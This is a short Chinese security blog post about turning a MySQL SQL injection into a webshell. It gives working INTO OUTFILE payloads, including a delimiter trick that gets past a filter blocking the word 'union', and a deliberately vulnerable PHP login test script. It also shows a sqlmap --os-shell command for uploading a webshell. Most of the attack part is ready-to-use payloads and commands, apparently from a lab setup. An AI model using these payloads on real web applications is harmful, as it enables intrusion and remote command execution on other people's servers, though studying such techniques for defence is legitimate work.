1.union
1 |
id=2) union select 1,2,3,4,5,6,7,'<? phpinfo(); ?>’ into outfile ‘/home/wwwroot/lu4n.com/luan_phpinfo.php’%23 |
1 |
id=2) into outfile ‘/home/wwwroot/lu4n.com/luan_phpinfo.php’ fields terminated by ‘<? phpinfo(); ?>’%23 |
这里用的第二种方法是通过插入分隔符号来getshell的,所以必须查询结果有多个列
一般情况下的注入点都是符合条件的。
以luan_test.php为例:
1 2 3 4 5 6 7 8 9 10 11 |
<?php @$link= mysql_connect("localhost","root",""); mysql_select_db("mysql",$link); $user = strtolower($_GET['user']); if(strpos($user,"union") === false){ $sql= "SELECT * FROM user where user='{$user}'"; echo $sql . '<br>'; mysql_query($sql); echo mysql_errno() . ": " . mysql_error(). " "; } ?> |
经测试,sqlmap最新版实际是支持这个方法的:
1 |
python sqlmap.py -u “http://192.168.2.200/luan_test.php?user=root” –os-shell |
但是,如果–os-shell用不了,sqlmap有个写文件的选项,经测试不成功。
也就是说,sqlmap只能传自己的webshell
如果工具党遇到这种情况,直接使用sqlmap –os-shell然后用sqlmap上传的Webshell来操作就可以了。
本文由 安全周 作者:空心 发表,转载请注明来源!
您必须[登录] 才能发表留言!
配置–secure-file-priv也是可以getshell的 🙄
用户登录